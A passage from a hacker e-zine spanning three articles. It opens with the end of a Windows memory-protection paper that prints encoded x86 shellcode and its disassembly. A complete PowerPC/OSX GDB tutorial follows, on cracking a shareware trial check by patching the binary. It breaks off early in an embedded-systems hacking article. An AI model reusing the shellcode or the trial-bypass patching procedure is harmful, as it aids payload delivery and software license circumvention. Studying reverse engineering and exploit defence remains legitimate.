"\xc2\xda\x7a\xdd\x33\x88\x84\x5c\xc0\xda\x7c\xe6\xc2\xda\x7a\xdd"
"\x72\x6c\x2c\xfc\xc0\xda\x7c\xe5\xc3\x71\xff\x4a\x47\xb6\xc2\x52"
"\xee\xe3\xd3\xe2\x68\xf3\xff\x4a\x47\x43\xc0\xd1\xf1\x4d\xc9\xd8"
"\x1e\xc0\xc0\xe5\xce\x0c\x66\x3c\x70\x4f\xee\x3c\x75\x14\x6a\x46"
"\x3d\xdb\xe8\x98\x69\x67\x86\x26\x1a\x5f\x92\x1e\x3c\x8e\xc2\xc7"
"\x69\x96\xbc\x4a\xe2\x61\x55\x63\xcc\x72\xf8\xe4\xc6\x74\xc0\xb4"
"\xc6\x74\xff\xe4\x68\xf5\xc2\x18\x4e\x20\x64\xe6\x68\xf3\xc0\x4a"
"\x68\x12\x55\x65\x1c\x72\x56\x36\x53\x41\x55\x63\xc5\xda\x7a\xdd"
"\x67\xaf\xae\xea\xc4\xda\x7c\x4a\x47\x25\xaa\xb5";
Disassembly:
0012FD68 90 NOP
0012FD69 90 NOP
0012FD6A 90 NOP
0012FD6B 90 NOP
0012FD6C 90 NOP
0012FD6D 90 NOP
0012FD6E 90 NOP
0012FD6F 90 NOP
0012FD70 90 NOP
0012FD71 90 NOP
0012FD72 90 NOP
0012FD73 31C9 XOR ECX,ECX
0012FD75 83E9 AF SUB ECX,-51
0012FD78 D9EE FLDZ
0012FD7A D97424 F4 FSTENV (28-BYTE) PTR SS:[ESP-C]
0012FD7E 5B POP EBX
0012FD7F 8173 13 9725AAB5 XOR DWORD PTR DS:[EBX+13],B5AA2597
0012FD86 83EB FC SUB EBX,-4
0012FD89 ^E2 F4 LOOPD SHORT 0012FD7F ; DECODING LOOP
decoded data:
0012FD8B FC CLD
0012FD8C 6A EB PUSH -15
0012FD8E 4F DEC EDI
0012FD8F E8 F9FFFFFF CALL 0012FD8D ; [!]
0012FD94 60 PUSHAD
0012FD95 8B6C24 24 MOV EBP,DWORD PTR SS:[ESP+24]
0012FD99 8B45 3C MOV EAX,DWORD PTR SS:[EBP+3C]
0012FD9C 8B7C05 78 MOV EDI,DWORD PTR SS:[EBP+EAX+78]
0012FDA0 01EF ADD EDI,EBP
0012FDA2 8B4F 18 MOV ECX,DWORD PTR DS:[EDI+18]
0012FDA5 8B5F 20 MOV EBX,DWORD PTR DS:[EDI+20]
0012FDA8 01EB ADD EBX,EBP
...
[!] 0012FD8F (calls) -> 0012FD8D (jumps) -> 0012FDDE
(PARSING PEB BLOCK ROUTINE)
0012FDDE 31C0 XOR EAX,EAX
0012FDE0 64:8B40 30 MOV EAX,DWORD PTR FS:[EAX+30]
0012FDE4 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C]
0012FDE7 8B70 1C MOV ESI,DWORD PTR DS:[EAX+1C] ; [!!-P1]
0012FDEA AD LODS DWORD PTR DS:[ESI] ; [!!-P2]
[!!-P1] - protty (P1) takeovers the program execution when instruction
at 0012FDE7h (MOV ESI,DWORD PTR DS:[EAX+1C]) is being
executed, application is terminated, attack failed.
[!!-P2] - P2 works like above, but the execution is redirected when lodsd
instruction is executed.
--[ VII. Bad points (what you should know) - TODO
I have tested Protty2 (P2) with:
- Microsoft Internet Explorer
- Mozilla Firefox
- Nullsoft Winamp
- Mozilla Thunderbird
- Winrar
- Putty
- Windows Explorer
and few others applications, it worked fine with 2-5 module protected
(the standard is 2 modules NTDLL.DLL and KERNEL32.DLL), with not much
bigger CPU usage! You can define the number of protected modules etc.
etc. to make it suitable for your machine/software. The GOOD point is
that protected memory region is not requested all the time, generally
only on loading new modules (so it don't eat CPU a lot).
However there probably are applications which will not be working stable
with protty. I think decreasion of protection methods can make the
mechanism more stable however it will also decrease the security level.
Anyway it seems to be more stable than XP SP2 :)) I'm preparing for
exams so I don't really have much time to spend it on Protty, so while
working with it remember this is a kind of POC code.
TODO:
!!! DEFINETLY IMPORTANT !!!
- add SEH all chain checker
- code optimization, less code, more *speeeeeed *
- add vectored exception handling checker
- add some registry keys/loaders to inject it automatically to
started application
(if anybody want to play with Protty1):
- add some align calculation procedure for VirtualProtect, to describe
region size more deeply.
Anyway I made SAFE_MEMORY_MODE (new!), here is the description:
When protty reaches the point where it checks the memory region
which caused exception, it checks if it's protected.
Due to missing of align procedure for (VirtualProtect), Protty region
comparing procedure can be not stable (well rare cases :)) - and
to prevent such cases i made SAFE_MEMORY_MODE.
In this case Protty doesn't check if memory which caused exception
is laying somewhere inside protected region table. Instead of this
Protty gets actual protection of this memory address (Im using
VirtualProtect - not the VirtualQuery because it fails on special
areas). Then it checks that actual protection is set to
PAGE_NOACCESS if so, Protty deprotects all protected regions and
checks the protection again, if it was changed it means that
requested memory lays somewhere inside of protected regions.
The rest of mechanism is the same (i think it is even more
better then align procedure, anyway it seems to work well)
(you can turn on safe mode via editing the prot/conf.inc and rebuilding
the library)
--[ VIII. Last words
In the end I would like to say there is a lot to do (this is a concept),
but I had a nice time coding this little thingie. It is based on pretty
new ideas, new technology, new stuffs. This description is short and not
well documented, like I said better test it yourself and see the effect.
Sorry for my bad english and all the *lang* things. If you got any
comments or sth drop me an email.
Few thanks fliez to (random order):
- K.S.Satish, Artur Byszko, Cezary Piekarski, T, Bart Siedlecki, mcb
"some birds werent meant to be caged, their feathers are just too bright."
- Stephen King, Shawshank Redemption
--[ IX. References
[1] - VirtualQuery API
- msdn.microsoft.com/library/ en-us/memory/base/virtualquery.asp
[2] - MEMORY_BASIC_INFORMATION structure
- msdn.microsoft.com/library/en-us/ memory/base/memory_basic_
information_str.asp
[3] - IsBadWritePtr API
- msdn.microsoft.com/library/ en-us/memory/base/isbadwriteptr.asp
[4] - Detours library
- research.microsoft.com/sn/detours/
[5] - Bypassing 3rd Party Windows Buffer Overflow Protection
- http://www.phrack.org/phrack/62/p62-0x05_Bypassing_Win_
BufferOverflow_Protection.txt
[6] - Defeating w2k3 stack protection
http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.
pdf
[7] - Gaining important datas from PEB under NT boxes
http://vx.netlux.org/29a/29a-6/29a-6.224
[8] - IA32 Manuals
- http://developer.intel.com/design/Pentium4/documentation.htm
[9] - An In-Depth Look into the Win32 Portable Executable File Format
(PART2)
- http://msdn.microsoft.com/msdnmag/issues/02/03/PE2/default.aspx
[10]- Windows Heap Overflows
- http://opensores.thebunker.net/pub/mirrors/blackhat/presentations/
win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.pdf
[11]- Technological Step Into Win32 Shellcodes
- http://www.astalavista.com//data/w32shellcodes.txt
[12]- EPO: Entry-Point Obscuring
- http://vx.netlux.org/29a/29a-4/29a-4.223
--[ X. Code
Library binary and source code attached to paper. Also stored on
http://pb.specialised.info .
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====
<-->
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x10 of 0x14
|=-----=[ Reverse engineering - PowerPC Cracking on OSX with GDB ]=------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ curious ]=--------------------------------=|
|=-----------------------------------------------------------------------=|
--[ Contents
1.0 - Introduction
2.0 - The Target
3.0 - Attack Transcript
4.0 - Solutions and Patching
A - GDB, OSX, PPC & Cocoa - Some observations.
B - Why can't we just patch with GDB?
--[ 1.0 - Introduction
This article is a guide to taking apart OSX applications and
reprogramming their inner structures to behave differently to their
original designs. This will be explored while uncrippling a
shareware program. While the topic will be tackled step by step,
I encourage you to go out and try these things for yourself, on your
own programs, instead of just slavishly repeating what you read here.
This technique has other important applications, including writing
patches for closed source software where the company has gone out of
business or is not interested, malware analysis and fixing incorrectly
compiled programs.
It is assumed you have a little rudimentary knowledge in this area
already - perhaps you have some assembly programming or you have some
cracking experience on Windows or Linux. Hopefully you'll at least
know a little bit about assembly language - what it is, and how it
basically works ( what a register is, what a relative jump is, etc. )
If you've never worked with PowerPC assembly on OSX before, you might
want to have a look at appendix A before we set off. If you have some
basic familiarity with GDB, it will also be very useful.
This tutorial uses the following tools and resources - the XCode
Cocoa Documentation, which is included with the OSX developer tools,
a PowerPC assembly reference ( I recommend IBM's "PowerPC Microprocessor
Family: The Programming Environments for 32-Bit Microprocessors" - you
can get it off their website ), gcc, an editor and a hexeditor ( I use
bvi ). You'll also be using either XCode/Interface Builder or Steve
Nygard's "class-dump" and Apple's "otool".
I'm no expert on this subject - my knowledge is cobbled
together from time spent working in this area with Windows, then Linux and
now OSX. I'm sure there's lots in this article that could be done more
correctly / efficiently / easily, and if you know, please write to me and
discuss it! Already this article is seriously indebted to the excellent
suggestions and hard work of Christian Klein of Teenage Mutant Hero Coders.
I had a very hard time deciding whether or not to publish this article
anonymously. Recently, my country has enacted ( or threatened to enact )
DMCA style laws that represent a substantial threat to the kinds of
exploration and research that this document represents - exploration and
research which have important academic and corporate applications. I
believe that I have not broken any laws in authoring this document,
but the justice system can paint with a broad brush sometimes.
Thanks for reading,
<curious@progsoc.org>
--[ 2.0 - The Target
The target is a shareware client for SFTP and FTP, which I was first
exposed to after the automatic ftp execution controversy a few years ago
( see - <http://www.tidbits.com/tb-issues/TidBITS-731.html#lnk4> ). Out
of respect for the authors, I'm not going to name it explicitly, and
the version analysed is now deprecated.
--[ 3.0 - Attack Transcript
The first step is to prompt the program to display the undesirable
behavior we wish to alter, so we know what to look out for and change.
From reading the documentation, I know that I have fifteen days of usage
before the program will start to assert it's shareware status - after
that time period, I will be unable to use the Favourites menu, and
sessions will be time limited.
As I didn't want to wait around fifteen days, I deleted the program
preferences in ~/Library/Application Support/, and set the clock back
one year. I ran the software, quit, and then returned the clock to
normal. Now, when I attempt to run the software, I receive the expired
message, and the sanctions mentioned above take effect.
Now we need to decide where we are to make the initial incision
In the program. Starting at main() or even NSApplicationMain() (
which is where Cocoa programs 'begin' ) is not always feasible in the
large, object based and event driven programs that have become the norm
in Cocoa development, so here's what I've come up with after a few false
starts.
One approach is to attack it from the Interface. If you have a look
inside the application bundle ( the .app file - really a folder ), you'll
most likely find a collection of nib files that specify the user interface.
I found a nib file for the registration dialog, and opened it in Interface
Builder.
Inspecting the actions referred to there we find a promising sounding
IBAction "validateRegistration:" attached to a class
"RegistrationController". This sounds like a good place to start, but if
the developers are anything like me, they won't have really dragged their
classes into IB, and the real class names may be very different.
If you didn't have any luck finding a useful nib file, don't despair.
If you have class-dump handy, run it on the actual mach-o executable
( usually in <whatever>.app/Contents/MacOS/ ), and it will attempt to
form class declarations for the program. Have a look around there for
a likely candidate function.
Now that we have some ideas of where to start, let's fire up GDB
and look a bit closer. Start GDB on the mach-o executable. Once loaded,
let's search for the function name we discovered. If you still don't
have a function name to work with ( due to no nib files and no
class-dump ), you can just run "info fun" to get a list of functions
GDB can index in the program.
| (gdb) info fun validateRegistration
| All functions matching regular expression "validateRegistration":
| Non-debugging symbols:
| 0x00051830 -[StateController validateRegistration:]
"StateController" would appear to be the internal name for that
registration controlling object referred to earlier. Let's see
what methods are registered against it:
| (gdb) info fun StateController
| All functions matching regular expression "StateController":
| Non-debugging symbols:
| 0x0005090c -[StateController init]
| 0x00050970 +[StateController sharedInstance]
| 0x000509f8 -[StateController appDidLaunch]
| 0x00050e48 -[StateController cancelRegistration:]
| 0x00050e8c -[StateController findLostNumber:]
| 0x00050efc -[StateController state]
| 0x00050fd0 -[StateController validState]
| 0x00051128 -[StateController saveState:]
| 0x000512e0 -[StateController appendState:]
| 0x00051600 -[StateController initState]
| 0x0005165c -[StateController stateDidChange:]
| 0x00051830 -[StateController validateRegistration:]
| 0x00051bd8 -[StateController windowDidLoad]
"validState", having no arguments ( no trailing ':' ) sounds very
promising. Placing a breakpoint on it and running the program shows
it's called twice on startup, and twice when attempting to possibly change
registration state - this seems logical, as there are two possible
sanctions for expired copies as discussed earlier. Let's dig a bit
deeper with this function.
Here's a commented partial disassembly - I've tried to bring it down
to something readable on 75 columns, but your mileage may vary. I'm
mainly providing this for those unfamiliar with PPC assembly, and it's
summarized at the end.
(gdb) disass 0x50fd0
Dump of assembler code for function -[StateController validState]:
0x00050fd0 <-[StateController validState]+0>: mflr r0
# Copy the link register to r0.
0x00050fd4 <-[StateController validState]+4>: stmw r27,-20(r1)
# Store r27, r28, r29, r30 and r31 in five consecutive words
# starting at r1 - 20 ( 0xbfffe2bc ).
0x00050fd8 <-[StateController validState]+8>: addis r4,r12,4
# r4 = r12 + 4 || 16(0)
#
# || = "concatenated", in this case with sixteen zeroes.
# this has the effect of shifting the "four" ( 100B )
# into the high sixteen of the register.
0x00050fdc <-[StateController validState]+12>: stw r0,8(r1)
# Write r0 to r1 + 8.
0x00050fe0 <-[StateController validState]+16>: mr r29,r3
# Copy r3 to r29. At the moment, this would contain
# the address of the object we're being invoked on
# ( a StateController instance ).
0x00050fe4 <-[StateController validState]+20>: addis r3,r12,4
# As 0x50fd8, but into r3.
0x00050fe8 <-[StateController validState]+24>: stwu r1,-96(r1)
# Store Word With Update:
# "address" = r1 - 96
# store r1 to "address"
# r1 = "address"
0x00050fec <-[StateController validState]+28>: mr r31,r12
# Copy r12 to r31.
0x00050ff0 <-[StateController validState]+32>: lwz r4,1620(r4)
# Load r4 with contents of memory address r4 + 1620 ( 0x91624 ).
# r4 now contains 0x908980CC = c string, "sharedInstance".
0x00050ff4 <-[StateController validState]+36>: lwz r3,5944(r3)
# Load r3 with contents of memory address r3 + 5944 ( 0x92708 ).
# r3 now contains 0x92b20 = objc object, describes itself as
# "Preferences".
#
# This seems to be an instance of the undocumented preferences
# api used by mail and safari. Tut tut.
0x00050ff8 <-[StateController validState]+40>:
bl 0x739d0 <dyld_stub_objc_msgSend>
# r3 = [ Preferences sharedInstance ];
# (gdb) po $r3
# <Preferences: 0x10d6c0>
0x00050ffc <-[StateController validState]+44>: lwz r0,40(r29)
# Load r29 + 40 into r0. As you may recall, r29 was set
# at 0x50fe0 to be the StateController instance. Hence
# this offset refers to some kind of instance variable.
#
# In this case, it's value is nil. Guess it hasn't been
# assigned yet. My theory is that this function will be
# invoked several times on the same object and this, the
# first run through, will do initialization.
0x00051000 <-[StateController validState]+48>: mr r27,r3
# Copy the shared instance ( herein reffered to as prefObject )
# returned in 0x50ff8 to r27.
0x00051004 <-[StateController validState]+52>: cmpwi cr7,r0,0
# Compare r0 ( the first instance variable ( herein SC:1 ) )
# with nil, store the result.
#
# (gdb) print /t $cr
# $19 = 100100000000000100001001000010
#
# cr7 occupies offset 21-24, 001B ( "equal" ).
# The CR's can contain 100B ( "higher" ), 010B ( "lower" )
# or 001B ( "equal" ).
0x00051008 <-[StateController validState]+56>:
bne+ cr7,0x51030 <-[StateController validState]+96>
# Jump to +96 if the equal bit of cr7 is not set.
# It is, so we just continue on.
0x0005100c <-[StateController validState]+60>: addis r4,r31,4
# As 0x50fd8, but into r4. Note that r31 is the new address
# of the r12 address used in both of those instances. I would
# say r31 contains the start of the table listing the
# message names available in this program.
0x00051010 <-[StateController validState]+64>: lwz r4,5168(r4)
# Load r4 + 5168 into r4. This turns out to be a c string,
# "firstLaunch".
0x00051014 <-[StateController validState]+68>:
bl 0x739d0 <dyld_stub_objc_msgSend>
# r3 = [ prefObject firstLaunch ];
# This turns out to be an NSDate object, in this case
# 2003-09-19 23:30:10 +1000. We'll refer to this as
# firstLaunchDate.
0x00051018 <-[StateController validState]+72>: cmpwi cr7,r3,0
# Compare firstLaunchDate with nil, results to cr7.
0x0005101c <-[StateController validState]+76>: stw r3,40(r29)
# Store r3 ( firstLaunchDate ) to r29 + 40 - you'll recall
# this as being the StateController local variable referred
# to 0x50ffc, SC:1.
0x00051020 <-[StateController validState]+80>:
beq+ cr7,0x51030 <-[StateController validState]+96>
# If the equal bit is set, jump to +96 - same location as
# at 0x51008 for successful loads. Not what I was expecting.
0x00051024 <-[StateController validState]+84>: addis r4,r31,4
0x00051028 <-[StateController validState]+88>: lwz r4,2472(r4)
# As we did manage to load successfully, we fall through to
# here - load the message table and the string "retain".
0x0005102c <-[StateController validState]+92>:
bl 0x739d0 <dyld_stub_objc_msgSend>
# firstLaunchDate = [ firstLaunchDate retain ];
0x00051030 <-[StateController validState]+96>: lwz r3,40(r29)
# Here's where the divergent paths rejoin - load r3 with
# the SC:1.
0x00051034 <-[StateController validState]+100>: cmpwi cr7,r3,0
0x00051038 <-[StateController validState]+104>:
beq+ cr7,0x51070 <-[StateController validState]+160>
# Check to see if it's nil, and if so, jump out to +160.
# This would catch the case where we jumped from 0x51020 -
# would have seemed to make more sense to jump directly.
0x0005103c <-[StateController validState]+108>: addis r4,r31,4
0x00051040 <-[StateController validState]+112>: lwz r4,4976(r4)
# Load the message table and the string "timeIntervalSinceNow".
0x00051044 <-[StateController validState]+116>:
bl 0x739d0 <dyld_stub_objc_msgSend>
# r3 = [ firstLaunchDate timeIntervalSinceNow ];
#
# This message returns as an NSTimeInterval, which is a double.
# As a result, the function returns to f1 instead of the usual
# r3. The result in my case is:
# (gdb) print $f1
# $21 = -31790371.620961875
# (gdb) print $f1/60/60/24
# $22 = -367.944115983355
#
# This seems as expected from what we did at the beginning.
0x00051048 <-[StateController validState]+120>: addis r2,r31,3
# Not sure what's at r31 + 3 || 0x0000. It's not the message
# symbol table, and r2 is usually reserved for RTOC.
0x0005104c <-[StateController validState]+124>: lfd f0,26880(r2)
# Load double at r2 + 26880 into f0. Perhaps r2 is a constants
# table. It ends up being a big fat zero.
0x00051050 <-[StateController validState]+128>: fcmpu cr7,f1,f0
0x00051054 <-[StateController validState]+132>:
ble+ cr7,0x51070 <-[StateController validState]+160>
# Compare the time between first invocation and now with zero,
# if it's less ( and it should be, unless the first invocation
# was in the future! ) we jump to +160.
0x00051058 <-[StateController validState]+136>: addis r4,r31,4
0x0005105c <-[StateController validState]+140>: lwz r3,40(r29)
0x00051060 <-[StateController validState]+144>: lwz r4,1836(r4)
0x00051064 <-[StateController validState]+148>:
bl 0x739d0 <dyld_stub_objc_msgSend>
0x00051068 <-[StateController validState]+152>: li r0,0
0x0005106c <-[StateController validState]+156>: stw r0,40(r29)
0x00051070 <-[StateController validState]+160>: lwz r0,40(r29)
# Load our ever present SC:1 into r0.
0x00051074 <-[StateController validState]+164>: addis r2,r31,4
0x00051078 <-[StateController validState]+168>: addis r28,r31,4
# Load the message symbols into both r2 and r28.
0x0005107c <-[StateController validState]+172>: lwz r3,44(r29)
# Load another instance variable on the StateController - this
# one is 4 more along, at +44. We'll tag it as SC:2.
#
# It turns out to be another NSDate, this one is
# "2004-09-21 21:55:27 +1000", the time I started the current
# gdb session.
0x00051080 <-[StateController validState]+176>: addis r30,r31,4
# Load the message symbols into r30.
0x00051084 <-[StateController validState]+180>: cmpwi cr7,r0,0
0x00051088 <-[StateController validState]+184>:
bne- cr7,0x510cc <-[StateController validState]+252>
# Compare SC:1 with 0, if it's not equal, jump to +252.
# Which we do.
0x0005108c <-[StateController validState]+188>: lwz r4,5172(r2)
0x00051090 <-[StateController validState]+192>:
bl 0x739d0 <dyld_stub_objc_msgSend>
0x00051094 <-[StateController validState]+196>: lwz r4,1504(r30)
0x00051098 <-[StateController validState]+200>: lwz r3,5924(r28)
0x0005109c <-[StateController validState]+204>:
bl 0x739d0 <dyld_stub_objc_msgSend>
0x000510a0 <-[StateController validState]+208>: stw r3,40(r29)
0x000510a4 <-[StateController validState]+212>: addis r4,r31,4
0x000510a8 <-[StateController validState]+216>: lwz r4,2472(r4)
0x000510ac <-[StateController validState]+220>:
bl 0x739d0 <dyld_stub_objc_msgSend>
0x000510b0 <-[StateController validState]+224>: lwz r5,40(r29)
0x000510b4 <-[StateController validState]+228>: mr r3,r27
0x000510b8 <-[StateController validState]+232>: addis r4,r31,4
0x000510bc <-[StateController validState]+236>: lwz r4,5176(r4)
0x000510c0 <-[StateController validState]+240>:
bl 0x739d0 <dyld_stub_objc_msgSend>
0x000510c4 <-[StateController validState]+244>: li r3,1
0x000510c8 <-[StateController validState]+248>:
b 0x51114 <-[StateController validState]+324>
0x000510cc <-[StateController validState]+252>: lwz r4,5172(r2)
# Load r4 with r2 + 5172. r2 still has the message symbol
# table from 0x51074. The string is "timeIntervalSince1970".
0x000510d0 <-[StateController validState]+256>:
bl 0x739d0 <dyld_stub_objc_msgSend>
# r3 still contains SC:2 from 0x5107c, the time this instance was
# launched.
#
# f1 = [ SC:2 timeIntervalSince1970 ];
# f1 = 1095767727.4292047
# f1/60/60/24/365 = 34.746566699302541
0x000510d4 <-[StateController validState]+260>: lwz r4,1504(r30)
# r30 still has the message symbol table. r4 gets
# "dateWithTimeIntervalSince1970:"
0x000510d8 <-[StateController validState]+264>: lwz r3,5924(r28)
# Last I saw of r28, it had the message symbol table in it
# as well, but +5924 seems to contain the NSDate class object.
0x000510dc <-[StateController validState]+268>:
bl 0x739d0 <dyld_stub_objc_msgSend>
# r3 = [ NSDate dateWithTimeIntervalSince1970: $f1 ]
# Since the first argument is a float, it will draw from f1 -
# which still has the seconds since 1970 to current invocation
# from 0x510d0.
# We end up with an exact copy of SC:2. We'll call it
# thisLaunchDate.
0x000510e0 <-[StateController validState]+272>: addis r4,r31,4
# Load the message symbol table into r4.
0x000510e4 <-[StateController validState]+276>: mr r29,r3
# Copy r3 to r29.
0x000510e8 <-[StateController validState]+280>: mr r3,r27
# Copy r27 to r3. When last sighted at 0x51000, this
# held the prefs shared object.
0x000510ec <-[StateController validState]+284>: lwz r4,5168(r4)
# Load string "firstLaunch" to r4.
0x000510f0 <-[StateController validState]+288>:
bl 0x739d0 <dyld_stub_objc_msgSend>
# r3 = [ prefObject firstLaunch ];
# As seen at 0x51014, the value returned from here was later
# stored in SC:1.
0x000510f4 <-[StateController validState]+292>: addis r4,r31,4
# Load the message symbol table to r4.
0x000510f8 <-[StateController validState]+296>: mr r5,r3
# Move the NSDate just returned from prefObject to
# r5 ( second argument ).
0x000510fc <-[StateController validState]+300>: mr r3,r29
# Copy r29 to r3 - r29 had the reconstituted NSDate
# 'thisLaunchDate' from 0x510dc.
0x00051100 <-[StateController validState]+304>: lwz r4,3456(r4)
# Load "isEqualToDate:" into r4.
0x00051104 <-[StateController validState]+308>:
bl 0x739d0 <dyld_stub_objc_msgSend>
# r3 = [ thisLaunchDate isEqualToDate: firstLaunchDate ];
# That's going to be a big zero unless it's the first time
# you're running.
0x00051108 <-[StateController validState]+312>: addic r2,r3,-1
# r2 = r3 - 1 with carry flag.
# r2 will be set to max now.
# XER = 100B.
0x0005110c <-[StateController validState]+316>: subfe r0,r2,r3
# subfe r0, r2, r3 = !( r2 + r3 + XER[ carry bit ] )
# = !( max + 0 + 0 )
# = !( max )
# = 0
0x00051110 <-[StateController validState]+320>: mr r3,r0
# Move r0 to r3 - the function result.
0x00051114 <-[StateController validState]+324>: lwz r0,104(r1)
0x00051118 <-[StateController validState]+328>: addi r1,r1,96
0x0005111c <-[StateController validState]+332>: lwz r27,-20(r1)
0x00051120 <-[StateController validState]+336>: mtlr r0
0x00051124 <-[StateController validState]+340>: blr
# Various housekeeping and then return. For the most
# part, we reload those words we pushed into memory and
# the link register we stored in the opening moves.
End of assembler dump.
Ok, in summary, it seems validState does something different to what
it's name might indicate - it checks if it's the first time you've run
the program, initializes some data structures, etc. If it returns one,
a dialog box asking you to join the company email list is displayed.
So it's not what we thought, but it's not a waste of time - we've
uncovered two useful pieces of information - the location of the date of
first invocation ( StateController + 40 ) and the location of the date of
current invocation ( StateController + 44 ). These should all be set
correctly anytime after the first invocation of this function. These
two pieces of information are key to determining whether the software
has expired or not.
We have a couple of options here. Knowing the offset information of
this data, we can attempt to find the code that checks to see if the
trial is over, or we can attempt to intercept the initialization
process and manipulate the data loading to ensure that the user is
always within the trial window. As this would be perfectly sufficient,
we'll try that - a discussion of other avenues might make for interesting
homework or a future article.
--[ 4.0 - Solutions and Patching
A possible method will be to overwrite the contents of
StateController + 40 with StateController + 44 ( setting the
date the program was first run to the current date ) and then return
zero, leaving alone the code that deals with the preferences api. Due to
the object oriented methodology of Cocoa development, the chances of
some other function going crazy and performing a jump into the other parts
of the function are slim to nil, and so we can leave it as is.
A Proposed replacement function:
Obtain a register for us to use. Load the contents of StateController
+44 into it, write that register to StateController +40, release the
register, zero r3, return. The write is done like this as you cannot
write directly to memory from memory in PPC assembler.
+-----
| stw r31, -20(r1)
| lwz r31, 44(r3)
| stw r31, 40(r3)
| lwz r31, -20(r1)
| xor r3, r3, r3
| blr
+-----
Instead of consulting with the instruction reference to assemble it by
hand, I'm going to be cheap and use GCC. Paste the code into a file as
follows:
newfunc.s:
-----
.text
.globl _main
_main:
stw r31, -20(r1)
lwz r31, 44(r3)
stw r31, 40(r3)
lwz r31, -20(r1)
xor r3, r3, r3
blr
-----
Compile it as follows: `gcc newfunc.s -o temp`, and load it into gdb:
| (gdb) x/15i main
| 0x1dec <main>: stw r31,-20(r1)
| 0x1df0 <main+4>: lwz r31,44(r3)
| 0x1df4 <main+8>: stw r31,40(r3)
| 0x1df8 <main+12>: lwz r31,-20(r1)
| 0x1dfc <main+16>: xor r3,r3,r3
| 0x1e00 <main+20>: blr
| 0x1e04 <dyld_stub_exit>: mflr r0
We want to see the machine code for 24 instructions post <main>.
| (gdb) x/24xb main
| 0x1dec <main>:
| 0x93 0xe1 0xff 0xec 0x83 0xe3 0x00 0x2c
| 0x1df4 <main+8>:
| 0x93 0xe3 0x00 0x28 0x83 0xe1 0xff 0xec
| 0x1dfc <main+16>:
| 0x7c 0x63 0x1a 0x78 0x4e 0x80 0x00 0x20
Now that we have our assembled bytecode, we need to paste it into
our executable. GDB is ( in theory ) capable of patching the file
directly, but it's a bit more complicated than it might appear (
see Appendix B for details ).
The good news is, finding the correct offset for patching the file
itself is not difficult. First, note the offset of the code you wish
to replace, as it appears in GDB. ( In this case, that's 0x50fd0. ) Now,
do the following:
| (gdb) info sym 0x50fd0
| [StateController validState] in section LC_SEGMENT.__TEXT.__text
| of <executable name>
Armed with this knowledge of what segment the code falls in
( __TEXT.__text ), we can proceed. Run "otool -l" on your binary,
and search for something like this ( taken from a different executable,
unfortunately ):
| Section
| sectname __text
| segname __TEXT
| addr 0x0000236c
| size 0x000009a8
| offset 4972
| align 2^2 (4)
| reloff 0
| nreloc 0
| flags 0x80000400
| reserved1 0
| reserved2 0
The offset to your code in the file is equal to the address of the
code in memory, minus the "addr" entry, plus the "offset" entry. Keep
in mind that "addr" is in hex and offset is not! Now you can just
over-write the code as appropriate in your hex editor.
Save and then try and run the program. It worked for me first time!
--[ A - GDB, OSX, PPC & Cocoa - Some Observations.
Calling Convention:
When handling calls, registers 0, 1 and 2 store important housekeeping
information. They are not to be fucked with unless you carefully restore
their values post haste. Arguments to functions commence at r3, and
return values are stored at r3 as well. Except for stuff like floats,
which you might find coming back in f1, etc.
One of the things that makes OSX applications such a joy to crack is
the heavy reliance on neatly defined object oriented interfaces, and the
corresponding heavy use of messaging. Often in disassemblies you will
come across branches to <dyld_stub_objc_msgSend>. This is a reformulation
of the typical calling convention:
| [ anObject aMessage: anArgument andA: notherArgument ];
Into something like this:
| objc_msgSend( anObject, "aMessage:andA:", anArgument, notherArgument );
Hence, the receiving object will occupy r3, the selector will be a
plain string at r4, and subsequent arguments will occupy r5 onwards. As
r4 will contain a string, interrogate it with "x/s $r4", as the receiver
will be an object, "po $r3", and for the types of subsequent arguments, I
recommend you consult the xcode documentation where available. "po" is
shorthand for invoking the description methods on the receiving object.
GDB Integration:
Due to the excellent Objective C support in GDB, not only can we
breakpoint functions using their [] message nomenclature, but also
perform direct invocations of methods as such: if r5 contained a pointer
to an NSString object, the following is quite reasonable:
| (gdb) print ( char * ) [ $r5 cString ]
| $3 = 0x833c8 " \t\r\n"
Very useful. Don't forget that it's available if you want to test
how certain functions react to certain inputs.
-- [ B - Why can't we just patch with GDB?
As some of you probably know, GDB can, in principle, write changes
out to core and executable files. This is not really practical in
the scenario we're dealing with here, and I'll explain why.
First, Mach-O binaries have memory protection. If you're going to
overwrite parts of the __TEXT.__text segment, you're going to have
to reset it's permissions. Christian Klein has written a program to
do this ( see <http://blogs.23.nu/c0re/stories/7873/>. ) You can
also, once the program is running and has an execution space, do
things like:
| (gdb) print (int)mprotect( <address>, <length>, 0x1|0x2|0x4 )
However, even when this is done, this only lets you write to the
process in memory. To actually make changes to the disk copy, you
need to either invoke GDB as 'gdb --write', or execute:
| (gdb) set write on
| (gdb) exec-file <filename>
The problem is, OSX uses demand paging for executables.
What this means is that the entire program isn't loaded into memory
straight away - it's lifted off disk as needed. As a result, you're
not allowed to execute a file which is open for writing.
The upshot is, if you try and do it, as soon as you run the program
in the debugger, it crashes out with "Text file is busy".
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x11 of 0x14
|=------------[ Security Review Of Embedded Systems And Its ]------------=|
|=------------[ Applications To Hacking Methodology ]------------=|
|=-----------------------------------------------------------------------=|
|=----[ Cawan: <chuiyewleong[at]hotmail.com> or <cawan[at]ieee.org> ]----=|
--=[ Contents
1. - Introduction
2. - Architectures Classification
3. - Hacking with Embedded System
4. - Hacking with Embedded Linux
5. - "Hacking Machine" Implementation In FPGA
6. - What The Advantages Of Using FPGA In Hacking ?
7. - What Else Of Magic That Embedded Linux Can Do ?
8. - Conclusion
--[ 1. - Introduction
Embedded systems have been penetrated the daily human life. In
residential home, the deployment of "smart" systems have brought out the
term of "smart-home". It is dealing with the home security, electronic
appliances control and monitoring, audio/video based entertainment, home
networking, and etc. In building automation, embedded system provides the
ability of network enabled (Lonwork, Bacnet or X10) for extra convenient
control and monitoring purposes. For intra-building communication, the
physical network media including power-line, RS485, optical fiber, RJ45,
IrDA, RF, and etc. In this case, media gateway is playing the roll to
provide inter-media interfacing for the system. For personal handheld
